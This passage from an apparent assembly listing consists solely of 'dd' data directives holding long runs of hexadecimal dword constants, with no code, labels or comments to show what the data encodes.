261CC318h, 4C40C318h, 0C698B31h dd 991060C5h, 636C658Ch, 0C5C03999h, 8B806850h, 2534AC8Dh dd 526AD92Bh, 0B595B2A6h, 0B02136ACh, 4664CC8Dh, 0C08D9AB3h dd 81502538h, 270740Eh, 67873415h, 7519EC45h, 0EC1D93AAh dd 0E1898D0Ch, 0BE790F09h, 7C33B4A0h, 91ED3D61h, 0DCD49AFEh dd 0CA2C8733h, 0C3563F47h, 0B3FED75Ah, 0ED7C4508h, 4429FC6Bh dd 891116D8h, 41225048h, 0DA5B320Bh, 0B74716D4h, 1C6E0DB9h dd 0E6880572h, 0A9133756h, 0CA2B6EC8h, 66FC8ADBh, 28C91B0Bh dd 5C138090h, 8C1708E1h, 182E1D20h, 92865B89h, 3938E71Ah dd 6B4A233Dh, 2E961C9Ah, 646B25B7h, 0E2617332h, 0D19B27DCh dd 9B1CF0Ch, 1D14A474h, 3A648C9Dh, 7503213Dh, 0EB1D53A9h dd 41A86500h, 0B37632CDh, 6EED9DD3h, 0EA5D3BA7h, 0F0BB15F2h dd 0F540EF65h, 4AAA613Bh, 0DE3BC378h, 3CC55931h, 79EAE265h dd 0AF0492B7h, 693D57A2h, 8C58CB16h, 0B4441EC8h, 8098BDC7h dd 19325A0Fh, 77CC495Fh, 8FA8933Eh, 49A12F9Ch, 2DC7DC19h dd 5A6FCDF8h, 0FDDFB3F5h, 75BFB5CCh, 0EE5D6BB1h, 0E700577Ah dd 1E02C055h, 2AFB5F30h, 9818598Bh, 10460796h, 4B901D2Eh dd 0B082EC5Dh, 83305E0Ah, 0FE20D980h, 31230F07h, 62AC50C6h dd 94C9012h, 13C28333h, 0D010656h, 4801A8E8h, 92175203h dd 5013026Ch, 0B65204CDh, 0D0D0D7B2h, 598C3802h, 0C3B02F0Eh dd 4E0A8E1h, 0EA9B535h, 9D44606Ah, 3F3A5122h, 9CD0E263h dd 28F244E8h, 79EA3CCDh, 78AC7B03h, 7BCF9C5h, 0DAE45E6Bh dd 2028C07Dh, 10A22A33h, 1A9B0D55h, 37C6C8D5h, 9B12A83Eh dd 3357E388h, 0C63A0A04h, 0A4796E6Dh, 0A8FE2D1Bh, 0B20516B7h dd 85D2346Fh, 0B811722Dh, 47F2211Dh, 0E364648Ch, 65491920h dd 0D04AA9CCh, 3295A4B0h, 4E4DA5A9h, 0EA5E4C03h, 493F27E4h dd 928E50A5h, 653A6EAFh, 0BA54EC93h, 95AE9D3Ch, 0A12584AEh dd 0D83AF50Eh, 0B7518A29h, 772E25D8h, 305ABBA9h, 0EA9B16AAh dd 277D302Ch, 0A2A94F4Ch, 0D533C498h, 4C855628h, 79932957h dd 0F3D5B4CCh, 5FCD099Eh, 0D69A440Dh, 802326ABh, 226B10DBh dd 0E90F10EBh, 0EEFE1C1Eh, 70975C70h, 24DF5B33h, 0C0D9389Fh dd 0B394903Eh, 970759Ch, 4E97D81Dh, 7C6FBD6Fh, 178A04EEh dd 0A41479E0h, 0FD9E6BA4h, 0F053E7B3h, 127D4039h, 51629F90h dd 6C0E60h, 903CB450h, 981B012Dh, 0C152EA5Dh, 0A1AC2CBDh dd 2688181h, 0FD12006h, 12321452h, 386768E0h, 1D8BD1A3h dd 7195A3C0h, 3C200340h, 949592D2h, 0C08528C2h, 0D2BA5404h dd 6610E21Bh, 8CDDC39h, 0E343B04Ah, 3704A09Ch, 794EE9D5h dd 129F9D2Ah, 244FA82Dh, 9A8D516Ah, 952EA554h, 0CFB1F88Bh dd 87C3EF17h, 0AAA7FEA8h, 56102556h, 360908D5h, 6A8E083Ah dd 34DA8503h, 6AB10A04h, 12216E08h, 2ACA2C91h, 2DD11622h dd 5BDD6AADh, 48490520h, 0AE15BD18h, 5D1C1A3Bh, 0BB23E189h dd 7A91CE1Eh, 0AF24D22Dh, 612BA544h, 0D84B032h, 87356193h dd 5289CE58h, 73A8CF94h, 0A53B1AE8h, 0B25642C7h, 2B1D40C7h dd 0CAE9FE59h, 966EB13Dh, 2D65A685h, 5CCBAB3Dh, 98B432E6h dd 6FA3ECEAh, 41495A51h, 0ADA8D23Ah, 0E54B6A85h, 0D6CAD8DAh dd 0DE5DB478h, 3D513AADh, 0B7AAEEDDh, 702DFBD5h, 0E0DC011Dh dd 71232F6Ah, 5E47AE48h, 0A9F012FDh, 0A92CB9CFh, 823DADC3h dd 0FAE897EBh, 0F58DC95Ah, 0EB7BACFAh, 9D21D6ECh, 4F56ACECh dd 305DE0CAh, 5E287780h, 0D0178A28h, 0F6F2CF35h, 42F19EEFh dd 0BBD61182h, 53F4AFCFh, 0D7F40D81h, 9702DE5Ah, 829420B8h dd 7F686416h, 0DFF2FFh, 14A2907Bh, 24644223h, 0A0C9C273h dd 651ADE90h, 0C1E01F0h, 0F84B08E1h, 37F61534h, 61B86786h dd 3746F30Eh, 0CD710B32h, 1283A04Ah, 4104F107h, 538A313Ch dd 70EEB41Ch, 3E2DA7E7h, 0A696795Ah, 0F51CF49Eh, 1AAC57A8h dd 0F216B38Dh, 1147FF1Dh, 8FF1F203h, 21894C81h, 47ABE847h dd 94285096h, 0BF98A16Ch, 321F436Dh, 7CA393C5h, 59BAD6FEh dd 0E8B84599h, 1ADA8C1Dh, 0E2DBA0A3h, 2BA5724Fh, 0E63CC290h dd 0AF291E46h, 95B34491h, 36A57CD4h, 5C4C79BBh, 139C9312h dd 0DAC5E76Bh, 0A493CF19h, 11999ED2h, 29E06559h, 0ACAE7FD0h dd 27ED0B65h, 761A1942h, 676CE288h, 58A9396Fh, 94D1DA34h dd 1FA26D3Eh, 5AD3F6F5h, 32A3D31Ah, 0D342BD5h, 9A71E2DBh dd 9E50A255h, 6A0567A7h, 0D4B6EB51h, 42ADE2C0h, 55102D50h dd 1AD7D71Bh, 0BDAFB589h, 5DF0CDC7h, 3120D6ABh, 0BADB09Fh dd 0AB5F6107h, 0BD36BE0Eh, 6B8D77E9h, 0D84FB09Ah, 0B1AEC5D8h dd 6485E5A9h, 0D0BC3B2Bh, 0DEBA6F1Eh, 0A36A2EC5h, 0CED82A57h dd 0F9F8BD76h, 20BD7DDEh, 681DF3A0h, 0C14BF0C0h, 0DCEC28BCh dd 80B755FDh, 21B14DDBh, 0F501C644h, 0F509F7A6h, 337C00DDh dd 0CE0F01D8h, 0FC2603B7h, 406FF16Fh, 0B81B2DC3h, 2566187h dd 66B883F5h, 1078482Ah, 0FE70FE19h, 3A9C459Eh, 8AF8A04Dh dd 0A27163B3h, 0ED8A7C62h, 3B159A71h, 80F46A4Eh, 0C6EA983Eh dd 0F83F0AA0h, 70130120h, 10A400E4h, 0C6AAA102h, 2C8040C8h dd 1368D8ABh, 5CC8AC88h, 134E5CEh, 0C94AC4E6h, 3EE6AC96h dd 61664404h, 4A16444h, 0F86E48F5h, 6E7844E8h, 0E84E7E45h dd 88904E86h, 6E8AADEEh, 70ACBEAEh, 6F06E188h, 0F06E4830h dd 48F06EAEh, 9A494AF0h, 0A1984A44h, 0B004D6AFh, 3AB02CD8h dd 0EB07329h, 9A942B1h, 0BECEE4A7h, 2EC0CF2Eh, 0D00B24ECh dd 7E7530ACh, 875C4FA1h dd 7650B8EDh, 70EF0EE0h, 0CEE8D187h, 516D2851h, 60D24D20h dd 0AEF416E1h, 980D2AD2h, 3A154EFAh, 6556D345h, 79298ED3h dd 9A42C146h, 0E56856C7h, 0F213856h, 70D42133h, 813A124Bh dd 0B7AD48D4h, 50F24582h, 0E220F26Dh, 232F2CF4h, 347BAD60h dd 0A7D27BEFh, 2529C25Ah, 4512EF40h, 0E0E8BB4Fh, 51FE38F4h dd 0BB0F40D7h, 88240D6Eh, 0AF5ED88Dh, 0BBCF64F3h, 7C284D98h dd 20A65D02h, 0DA65DEF7h, 8C5E25E0h, 4F7E9F20h, 0BDCDB62Bh dd 8A2CE5F4h, 0AA08BE8Fh, 60CDC82Dh, 0F8F9860Eh, 883ADD0Bh dd 0C04A2200h, 88DDAC06h, 0A0240680h, 62EFACFAh, 0F0FB4FB2h dd 4FBAFBADh, 1D1AADFh, 0C4032DFEh, 0A036A4AFh, 0A5B1BB1Bh dd 2C036042h, 0AFCE0360h, 0FD437604h, 0D4C431D0h, 0AFE0C411h dd 88AFE4A6h, 0E4FECA78h, 0C3BF1E51h, 1EC0A468h, 0D089CE2Dh dd 0AFFE3D03h, 0A8EE383Dh, 63E20F4h, 46B0E430h, 3F901501h dd 7B01AC74h, 8406C7ACh, 0AB1026AAh, 0CF02CE54h, 0B03C8E06h dd 0E6214522h, 428EB03Eh, 0D0490470h, 8F705304h, 79056450h dd 305E46AEh, 50106246h, 6A180474h, 217C47F0h, 77070CCh dd 62182189h, 6E9925F2h, 49491E49h, 0A04DE4A2h, 108EEA2Eh dd 0CE309309h, 0EA4D1096h, 0F0A0EB6Ch, 4B18FEEBh, 4E3086CFh dd 0F074849Eh, 30ACCFC4h, 0B264F8D0h, 0A90B84F4h, 0F0BCB372h dd 0B430C6D1h, 7A762D20h, 6D1EB461h, 0CD2B8B4h, 52B3D0D3h dd 4EFCEFABh, 0F06B5F0Eh, 92564B64h, 0A1441389h, 0FA13879h dd 6E57256Bh, 413299ABh, 12657B10h, 1D10CB78h, 6119110Fh dd 0D5D11859h, 35302232h, 0CD847D2Fh, 12A7E6D8h, 8512F12Dh dd 131C0F0Dh, 0F60F60Fh, 360F7320h, 6F4D1391h, 0D6EF44F4h dd 0B6D70F56h, 4F60F405h, 150D8C5Ah, 0A65C4289h, 0D15EF700h dd 0DACDAB15h, 0DA2B916Ah, 89FE812Bh, 0DC0F8CF8h, 7EA0ADC4h dd 0EF962EF1h, 2202A82h, 6833372h, 0F18D18E3h, 62631830h dd 0E0DDCFA2h, 0CA3AC18Dh, 0FB31A4A3h, 0AB3971A8h, 2FBAC211h dd 1B13A003h, 373A0027h, 0F1BD1B80h, 1C31BD3Ah, 0D31CB3AFh dd 0C3851D31h, 0E1A88087h, 7EFE91DEh, 0B3CD1E60h, 1F31F11Eh dd 0CC0C80A5h, 83D20C83h, 0D1FD1FFEh, 0F40D51Fh, 0EE6AB202h dd 83F52080h, 20CC720Fh, 78116103h, 68CF216Ch, 6C6AAA11h dd 2C8D721Eh, 26D502D0h, 3B22A6Dh, 0C614322Fh, 28F043CAh dd 44A4568Fh, 472448F8h, 0ECB0CAF2h, 70475845h, 0E647D252h dd 0F44018AAh, 26907B25h, 1C91F06Fh, 872126E7h, 4B272527h dd 0AD09127Ah, 24C8734Eh, 9A4CF28h, 4728ACEFh, 3290CF49h dd 18F29347h, 9E194CF8h, 84EAD012h, 2A70B24Fh, 0AB488507h dd 0D0D4EDD2h, 2B2EE10Ch, 0C2D1E773h, 61770D72h, 2CA52F0Dh dd 0D10E32CDh, 0B5E5592h, 0EF2D899h, 3F0FA797h, 52E34BE1h dd 2EF2E92Eh, 0F87A4B73h, 67B658D2h, 59823111h, 0B32CF2Ah dd 0B33CF493h, 31730F12h, 0F00EB319h, 332331A0h, 3254F54Fh dd 1914132Dh, 0C0E93373h, 30F14423h, 3E24E251h, 85C4F673h dd 28A27E5Ch, 5135134Ah, 62AB1653h, 16D35716h, 0BB35D16Fh dd 0FE04F8ADh, 42DEDC0Ah, 8262E004h, 70A15180h, 2306DD13h dd 62401202h, 18DD6312h, 11951923h, 1A232204h, 0A2024C21h dd 0B396FBD1h, 0FBD39E01h, 0A156E038h, 40380333h, 3B157557h dd 513B557Dh, 0C0500360h, 431D0E0h, 0DF58F3BAh, 0F1DE074Fh dd 3CD3C806h, 0D51EF3CDh, 80C8E2D3h, 0A8A0C20Ch, 0E269E0BEh dd 0B3EA8AD3h, 6B8A993Eh, 0E3FA6B6h, 60F92110h, 40720C11h dd 7B40101Eh, 66C8C82Ch, 0E54C848Dh, 0E0136128h, 6134C8B5h dd 0E6503D41h, 3541C140h, 0D2392372h, 426CA523h, 6942C453h dd 2CAC46C1h, 7566FF43h, 91439438h, 0D269442Eh, 19507A48h dd 9E920492h, 0B4547224h, 0EA41A6AFh, 0B8B0072Ch, 0E4B41AE4h dd 0EA96341Ah, 0B473B464h, 146EB14Eh, 4E24DE4Eh, 784A7470h dd 0C4ECEC34h, 4830AD29h, 8E4F24F5h, 74874861h, 2AAB304Fh dd 0B12AE517h, 4D1D4992h, 49F49349h, 0A2512765h, 0C9FE4A54h dd 0A982D250h, 4AF2CF4Ah, 0ED2D6F05h, 0C13842D0h, 13B2E256h dd 0A169D4C2h, 0B4CD4C36h, 2FAF1B10h, 922274D3h, 4B92F28Bh dd 11B13930h, 334E0B95h, 0ABA312F3h, 13F6CA0Eh, 1D4EEF41h dd 62234F53h, 2313234Fh, 280E8F4Ch, 11494FD3h, 50714114h dd 0E9C16CDh, 47EA5C35h, 156BC115h, 5351D51Bh, 62AA0993h dd 526BD480h, 0FD52A2BBh, 13633609h, 4CDC282h, 83722608h dd 48311851h, 30630883h, 231137Eh, 5555552Ch, 55A05B19h dd 60FB3561h, 0A01B7475h, 74C01D19h, 5356E01Dh, 957156F7h dd 57757375h, 511BB56Fh, 0D7675820h, 76776557h, 14FD5591h dd 0A881592Eh, 0FE8FE577h, 9D3CA09Ah, 35A33CF5h, 5A75A6A8h dd 368A88A9h, 70035B2Eh, 5BC0D53Eh, 0D06C1019h, 0F400E4C8h dd 40940611h, 0DD5DC413h, 0F4155E35h, 14B5EAC8h, 348E7230h dd 81661592h, 552397Ch, 0D17D3601h, 7160FE4Ah, 8CB56021h dd 17560D60h, 5561160Eh, 0B06E4792h, 71361618h, 9692126Ch dd 0D08B64A1h, 0CD6724AFh, 0AE4B9630h, 0F63272A4h, 0EB10944Bh dd 0C81A44C0h, 0F81D6464h, 29449B46h, 9AEC6199h, 4CFD82B2h dd 0D0582A18h, 9148E184h, 496D0D74h, 16E51F67h, 7D67C97Ch dd 36818469h, 0D2897D2Ch, 2E77C522h, 10DED2EDh, 2D4F072Dh dd 0DD6974B5h, 369A1332h, 86D0FB4Ch, 0A569D69Bh, 0AB7B6AC9h dd 4D36B258h, 2D6BCF4Dh, 0A2631393h, 4EB33D4Eh, 1E0E94FDh dd 0F4F76DD3h, 0FF89C21h, 0DD3236D6h, 18AD6EA7h, 7CC7DF6Dh dd 556FAB9Ch, 0ED9CD971h, 16134A5Ch, 985E3161h, 997080h dd 2BC2B171h, 0F0072080h, 5F6BE05h, 82153353h, 0E62DA2E0h dd 172736A2h, 61A2F937h, 1E30A308h, 973554AAh, 0A2938773h dd 4373E088h, 6DF574B7h, 3A002574h, 19558025h, 0F7580419h dd 92375D91h, 38051759h, 859280FEh, 11BD5835h, 77392F93h dd 3D93B77Bh, 8A775959h, 0FEC3A759h, 0E5787784h, 0B1E60A51h dd 78E3C178h, 98A8B3D9h, 19613E97h, 0F53E796h, 0A30160F2h dd 37A73FB7h, 11F2166Ch, 0D9979978h, 0E410C855h, 9875E15Dh dd 24ABC417h, 0F5E6C944h, 0E6414B03h, 0F214E42Ch, 97CC14D5h dd 7DB42D23h, 7A9077D5h, 9069067h, 7E74377Eh, 67077E9h dd 27194447h, 44D9C271h, 2449CAF7h, 72764A76h, 80492E4Ah dd 0B45962Dh, 0F8124D38h, 81E4D563h, 9A73F9E9h, 0CCFAEC64h dd 0D0583382h, 0C96966Ah, 0D20D10Dh, 8452C784h, 8276384Dh dd 5A0B84B6h, 0A1384651h, 60D23497h, 0D30EF81h, 0F0986586h dd 761452D8h, 586D86D8h, 0F987256h, 896AF2EBh, 62102105h dd 21E11C10h, 23882592h, 0B88911A2h, 25CF5188h, 5D890F42h dd 789AF5BAh, 89C2200Fh, 0A76DFA69h, 91354F38h, 9D512E5Bh dd 0FE9BE9C2h, 1425227Eh, 65CED975h, 0F73160BCh, 829E08Ch dd 18CE0917h, 16B70E08h, 6E2AE077h, 2BE25F71h, 8218E22Dh dd 3D8E62D8h, 1540A135h, 306BFB8Fh, 1732836h, 0F903900Ch dd 90AA2C31h, 1AA2DACDh, 1919AD39h, 76192592h, 5803375Dh dd 80360380h, 76A05805h, 6792F585h, 0E137717h, 93F93F1Dh dd 8289088Dh, 794D94B7h, 9523B71Eh, 0C20C8C5Bh, 0B7919583h dd 9633E2FFh, 0BD3E9965h, 37A26B55h, 10B97597h, 2197B97Ah dd 0A4146C61h, 5E398798h, 2F98F98Dh, 0A14A4352h, 99614C14h dd 5414D99Bh, 7044C9A1h dd 2459A416h, 0B1B5D605h, 216B9AD9h, 0CB77DF9Bh, 324E4FCh dd 97EB60E5h, 47B06847h, 1AAF5444h, 0CCCECCF6h, 0AFF08B7Fh dd 8E4CD804h, 0F818CD70h, 9E4B0E4Ch, 0A19EB9E7h, 54784A9Bh dd 9F7BA99Fh, 12ED895Dh, 0D2C2EDC5h, 519A04EEh, 11851A10h dd 0B84984BAh, 0BC968217h, 0B5FE10CFh, 274AF85Eh, 6D3F867Ah dd 4C9BDD4Ch, 407AB4CDh, 8213BE7Ah, 6E1A4DA4h, 53304F2Bh dd 788B6BBAh, 0A5ED72D7h, 9B31B6D1h, 3A6B6DB8h, 8A9A6F8Ah dd 75A75899h, 3132D83Ah, 0BBB8B58Bh, 0EFA8027Ch, 0A18BE7h dd 70534CDAh, 922ABA91h, 3527A9BAh, 0A00F84F8h, 0E881805Ch dd 602BEABh, 60D72372h, 77728612h, 0E61F8F53h, 0AC554FABh dd 59197AC7h, 7917ACB5h, 0C6FAD591h, 5973F559h, 8039AD95h dd 56FAE005h, 83C83AE9h, 0BC89AF3Ch, 0AFA051C8h, 4006FAFBh dd 3B00FE79h, 787B0608h, 0A40AA0A5h, 55A40ABCh, 1FBB15B1h dd 63B1C3DBh, 20F59679h, 4006BB21h, 17B288C1h, 0E121B2E1h dd 11E41011h, 1C1288D8h, 0ABBB3A4h, 9988E55Eh, 532346DFh dd 415843BBh, 0CADB595Fh, 6457B5Eh, 0BB62AD49h, 0B67CFA6Fh dd 0B696105Fh, 7257B759h, 7F37EDB7h, 86AF6CCDh, 0B9D3823Bh dd 9D84D84Ah, 4D01FEA1h, 179E0936h, 0D4638198h, 2864CBB9h dd 53BA1BA3h, 0FD3DBAB6h, 17BBB1BAh, 0C65152ACh, 98416792h dd 0BCBBC851h, 53BC5A0Dh, 0B68167DDh, 672177BCh, 254AA521h dd 0CD39BD7Ah, 79B0FED3h, 1D730F6h, 0A9A72F31h, 7AE21020h dd 860FE590h, 93036B3Dh, 0D91307BFh, 8E237A53h, 0F12FC018h dd 0FF31D31h, 0DDDA5A64h, 0FC0B8A16h, 6E7DA96Dh, 57C1731Dh dd 23D332Fh, 270F3CBBh, 0D8D938B6h, 22811520h, 0C2D8BE28h dd 72F75C2Fh, 0B8CB8CAFh, 8D38D170h, 41AA58DBh, 0F179C45Ch dd 0C4EDC5AAh, 2ABF753Fh, 1ABF8F57h, 0A27737ACh, 8631DAC6h dd 0FC71C640h, 0E1205BE0h, 5BE12041h, 5E120380h, 0E23E21C8h dd 0E8051C85h, 3767C8DAh, 8208209h, 81E3593Ah, 0F77BC948h dd 3A994007h, 0EDE33E32h, 0D59C0AAFh, 0CA409BE4h, 0A5CA359Fh dd 1CAD78DCh, 95FB140Dh, 0F9965B1Fh, 0C1020F40h, 5D15CFCBh dd 8D15D1FEh, 0B0406122h, 0A6C9CC8Ah, 0CDD02F02h, 38E5F987h dd 0FB4842D0h, 43DB5199h, 0AB9A3B58h, 0BCFBCF4Ch, 0EA3EA1CFh dd 0AA176171h, 2176465Eh, 174170CBh, 7D046FAh, 70890FDh dd 48B0719Ch, 959C3EC6h, 619C1961h, 0D1A74182h, 95279801h dd 81A7B99Bh, 0D31281D2h, 36EB7469h, 44EB647Dh, 4804EB65h dd 0F6EC8959h, 58392A19h, 0D4A513BBh, 0B50C1673h, 5A130D52h dd 0D5DBC1A1h, 2FD654A3h, 9A2568C5h, 0F10562F0h, 0A0F10F12h dd 5A41D7E9h, 0A4A7B3D8h, 5B3087B7h, 0ED5DA50Dh, 0F3788659h dd 6FD9D6C6h, 80F1DA0Dh, 0DB36D9C0h, 0ADF5BDA9h, 7DB38A1Dh dd 0D79337DBh, 3ABA5A58h, 0CD90240Fh, 0B11549Dh, 5B34A27Ch dd 0CDA715D1h, 0DE3C37DDh, 3FDE7AA1h, 0A05CF89Ch, 0DF3365AAh dd 9B8EFDF5h, 0CA1E61CFh, 55283B54h, 0B431DE07h, 7E0FE0C0h dd 0FB7E19E1h, 25FBBFB9h, 0A07BFBFEh, 0FEBE2A07h, 0FCBE47C8h dd 81E30093h, 3A60828h, 0E4607E88h, 0ABE463A5h, 7CA7E320h dd 0FE7FE9FEh, 100ABE53h, 0D3D7CA9Bh, 0D00C9CAh, 1FFBFFCh dd 341BCC82h, 39BCEC76h, 0C28F46F8h, 0A8D47A85h, 5026A851h dd 28B45A0h, 28589215h, 8F42C6A3h, 48A46A36h, 91A451F1h dd 0AA412123h, 25653284h, 55369B4Ah, 6629A4DAh, 413199A8h dd 0A199A81h, 3C532894h, 0A534FA7Bh, 5550678Ah, 3ACD58ACh dd 51D6948Ah, 39714C5Ah, 0AA350A7Dh, 74B8A9D4h, 756A7AE9h dd 56A72D97h, 0EAFD7ABBh, 5D2F97D5h, 58ECB62h, 0B12D3686h dd 0AEDB6CB5h, 2E0C4655h, 94CB65B1h, 0ECC67331h, 0D0675E2Eh dd 0FBFB3EFAh, 0C1E01A0Ch, 9B42FAD2h, 62B12D26h, 2F10D669h dd 0B238FC66h, 2ACDC9E4h, 398C1B37h, 7FCDE6B3h, 0E6631D8Fh dd 63E8B439h, 0E9B4AC8h, 30984C8Dh, 0B97EC8D3h, 57FB0D7Eh dd 61B4D9AFh, 2B7D9ADDh, 5BFEEEB7h, 0FEFB7AB0h, 6E77BC0Dh dd 0ED77B7DBh, 78FB4DA2h, 8CBDE572h, 6BDE7F23h, 0B0E0EF37h dd 857F596Ah, 57F6BB3Dh, 0FF7BBAAAh, 0F8947DDEh, 77CBE4F1h dd 7D29DF12h, 329C5127h, 5EEF6A65h, 0F3F9A73Dh, 349A4BD3h dd 49239249h, 0EA27F9FCh, 2239FCFh, 8148380Ah, 47F81606h dd 982E0A82h, 0DC7F1DE0h, 111C4771h, 852141C6h, 0A1084211h dd 1C21885h, 0D4758547h, 2287E1C1h, 87C7488Ah, 0C7F89C78h dd 0B8307889h, 0B60A8B47h, 821FC7B8h, 8CC82828h, 22D8DE0Ch dd 51D22A1Dh, 807088A2h, 658823F8h, 9164490Ch, 0A4591E46h dd 0E92E4A17h, 34601805h, 581624A9h, 13C5314Ch, 0E5514050h dd 0A1425A13h, 7C4C96A5h, 40984489h, 9966498Ch, 0C4099E66h dd 90E43B0Eh, 0B4360D83h, 2F0AE6D9h, 0B82B0ACh, 2779DE76h dd 0C0982409h, 0FC2209A7h, 1808A809h, 5683A0Ch, 686A1E86h dd 1A2E8A04h, 0F03FEC1h, 1009024h, 4A4E90h, 0A5C0301h dd 6E9AA640h, 4416A9AAh, 80340D0h, 6A2A882Dh, 8A9EA60Bh dd 0A6AAAA6Ah, 0AD0B42CAh, 0AC43D0B6h, 6B4AC42Ch, 7AC441ADh dd 0EEBA106Bh, 0BA12441Ah, 106BE0EAh, 3F0FC3Ah, 8156C6AFh dd 2ECAB26Ch, 6414AC9Bh, 0B4464154h, 2D3B4ED2h, 41A2D61Ah dd 15054106h, 0C431094h, 42881449h, 11BB8115h, 623D1B24h dd 911F4752h, 95BB2EC4h, 2692A244h, 4954B928h, 64E6F64Ch dd 9D384D93h, 3D4FCA52h, 5053D2B1h, 54851540h, 4530B3C1h dd 50B9548Bh, 0B953F0C5h, 58310C3Ch, 0F12C4F12h, 5956658h dd 9695ACCh, 0CA5B56E3h, 32B1F5C8h, 0CBC7D74h, 0C5FD775Eh dd 41805F97h, 0D233D8B3h, 34D87604h, 33434F31h, 0BCD18DCDh dd 333A3598h, 9164CD66h, 63D94CF5h, 343CBD7Fh, 0E66D9CD1h dd 2B496819h, 0C86B1A8Dh, 699AA6A0h, 4C2694BFh, 22F5AF6Ch dd 0B7721BFEh, 701D26D1h, 1BD751C3h, 62EDB36Eh, 236473D5h dd 0CE729C67h, 6E5CF731h, 9C474DD1h, 0B2D4AF6Fh, 81D9DD5Dh dd 7A795E07h, 28DE7793h, 0DEC27DEAh, 0D7BDF37Bh, 0F852709h dd 8AE2600Eh, 80A03803h, 0E0781C8Ch, 7837928Dh, 5E1986A1h dd 1C86E138h, 90641876h, 0E2D87E24h, 0B8BE3089h, 0C630E8E0h dd 328DA328h, 0EA07FE9Eh, 7A78C7ADh, 88C7B8Eh, 0D6438FA4h dd 48EE6481h, 92A4C1B2h, 86093E4Eh, 79625394h, 1A569765h dd 4C97C4FFh, 10048984h, 7D09A3CDh, 0B9AE6A99h, 0E66E9BC3h dd 2F0BA720h, 9E2780BCh, 67E9F67Ah, 20627FA0h, 1E889FE8h dd 8EA328CAh, 0FB693A46h, 3A5C09h, 0CA73F100h, 0AE9FA7A9h dd 0A60D2ABAh, 0FE27D0D2h, 2D10AA6h, 80500021h, 1A02AB5h dd 24AC6569h, 0C657AB04h, 1EB3163Ah, 48292C88h, 92D00A50h dd 40CC1996h, 0AB5A0CADh, 8832DA20h, 0FEB5BC41h, 64497090h dd 97187A11h, 8F5D447h, 852B9974h, 0A448126h, 4A2ED853h dd 0F013648Ch, 0EC4B579Ah, 0D49809A5h, 0C2FA134Bh, 0C1404CC9h dd 0CBF97EAFh, 4A2B0014h, 8AC28851h, 15E2CCECh, 2E059B06h dd 8830C29Ah, 5229CC29h, 0ACC45884h, 645D0B98h, 0C5C6291h dd 0A630590Bh, 0CC758C96h, 0D9097063h, 9782ECC8h, 65CCA8CCh dd 0CCCC997Dh, 9C47066Ah, 3C676625h, 7663E3A3h, 0C84786h dd 6B2E322Dh, 78FD1F59h, 67CCCB4h, 5A548434h, 9A434A5Eh dd 34C68DA7h, 0D58D51ABh, 581CF360h, 0C2376DB4h, 7D250E91h dd 0A45B9D33h, 10BD6D8Dh dd 0A3547206h, 738E39Ah, 8E39CD3Ah, 0C9A17726h, 3AC755AFh dd 0DD0EC4ACh, 0BC3776ECh, 7A6F6779h, 3E28CF4Bh, 165C1E91h dd 0A38213EEh, 33DA7D4Fh, 67E1C51Fh, 9C69FD71h, 88C10623h dd 40D32664h, 861C9393h, 67A12426h, 1F430E62h, 68E79CDAh dd 15FE0757h, 9456825h, 60E91D1Ah, 891ABA67h, 8A2E9C73h dd 0F1399Dh, 93A91E23h, 11123D76h, 6C9DE1Bh, 494EE5DDh dd 0EFDDF3BCh, 2F25249Eh, 5C0A6950h, 94F21E42h, 35E63CB7h dd 43D179EFh, 0C7AAF513h, 40E1EC26h, 9EEA734Eh, 0A7B4F49Dh dd 7CAF893Eh, 6142A82h, 473E97CEh, 0EE023469h, 0DE00D49Bh dd 0D5FA2987h, 29F0B8Fh, 97F4FE95h, 4110222Ah, 0C2252B08h dd 52FA5C10h, 0A674CA01h, 0F69AD34h, 9C537084h, 0BB57101Eh dd 7502960Ah, 42A00555h, 0AC138210h, 45921982h, 70660C06h dd 83B064A9h, 0ADC20EB6h, 2170816Dh, 45089920h, 8EC2722Ch dd 2A5D30B4h, 0DA48A174h, 861A0915h, 2C382615h, 0C14226ABh dd 64DD7C43h, 57E0A75Fh, 44627D5Bh, 60851982h, 134EC147h dd 2C4552A9h, 66AF75EAh, 0BB16D8A1h, 7CB2B148h, 40C518B1h dd 42D918CBh, 519E3397h, 0C6632164h, 998B1C33h, 8616FE35h dd 63799265h, 47466D1Ch, 8ED6699Dh, 67ACDB39h, 0C4B3E8F7h dd 81684D14h, 4E5E4CCCh, 8ED3DA8Bh, 71AB3466h, 6AF23DAh dd 4D70D71Dh, 0A4B49537h, 0BA39F25h, 1842E8DAh, 2824EDB9h dd 5236B943h, 0A2398D8Eh, 8F2B0E94h, 72584AFBh, 0A1E19647h dd 0F3CF73A5h, 42704FB7h, 0F49EDBAh, 993DE7Dh, 9887E661h dd 329C69FAh, 66B91995h, 1599E82Eh, 0CD79268Ah, 943AA10Bh dd 5222BD57h, 0E9B88AD1h, 0EA117BAh, 6714E376h, 235BEA82h dd 9CD7EA73h, 35D1ECEAh, 794F073Dh, 4B9E0EE6h, 0BC93E7BAh dd 61250580h, 0ECFE4B29h, 2A034012h, 0A1182426h, 0DE9D06A0h dd 3806CF5h, 7B8F681Ch, 993CD0Eh, 0F2D13A22h, 1702AA11h dd 1D465445h, 428EA8B5h, 9BF2524Ah, 0E535489Fh, 749A9506h dd 0A952A0C6h, 0D2AC6F8Dh, 0A554BC21h, 4D695C02h, 9DD36C7Fh dd 4957815Eh, 87915640h, 460A648Ah, 4C82EBFEh, 3352AA5Eh dd 0BD6E2DB8h, 6552CA21h, 84A4508h, 822C8F12h, 0A1792223h dd 92824F57h, 0AB82572Fh, 4B6B1C33h, 7CD6586Eh, 6BCD44DDh dd 0DA29452Eh, 12B7E6EAh, 30B388D1h, 8899134Ah, 6C1E2667h dd 987B0ACFh, 0B178B02Fh, 0D02C40B2h, 0A18B2162h, 0C0685D0Bh dd 0C217D172h, 0D6158B8h, 8AC5587Bh, 0C976B16Ch, 28D563CBh dd 0ECFAD198h, 8C446D30h, 4721A5A7h, 19B684C8h, 0CF6CF98Ah dd 0D15A1D48h, 0A59011FEh, 5F6A4C05h, 8AD5979Dh, 95AFB5C6h dd 0F6B3292Dh, 76D9AFB6h, 0CAF36ED7h, 0C2B766Ch, 0B7F6F863h dd 271B58C2h, 4A49CB87h, 0CA956DC2h, 55730ED5h, 0F4F35CE1h dd 39EA6FCDh, 93DCE15Ch, 276EB09h, 0EEDA00BBh, 0CC6BB930h dd 990E3EEFh, 82AF16E3h, 8396BCEh, 19DD21E1h, 461C50F2h dd 0B1D2CDC4h, 0C20C4648h, 6DEC8DAFh, 73826ECEh, 11E3A1BEh dd 0A209AA1Eh, 0FEE87276h, 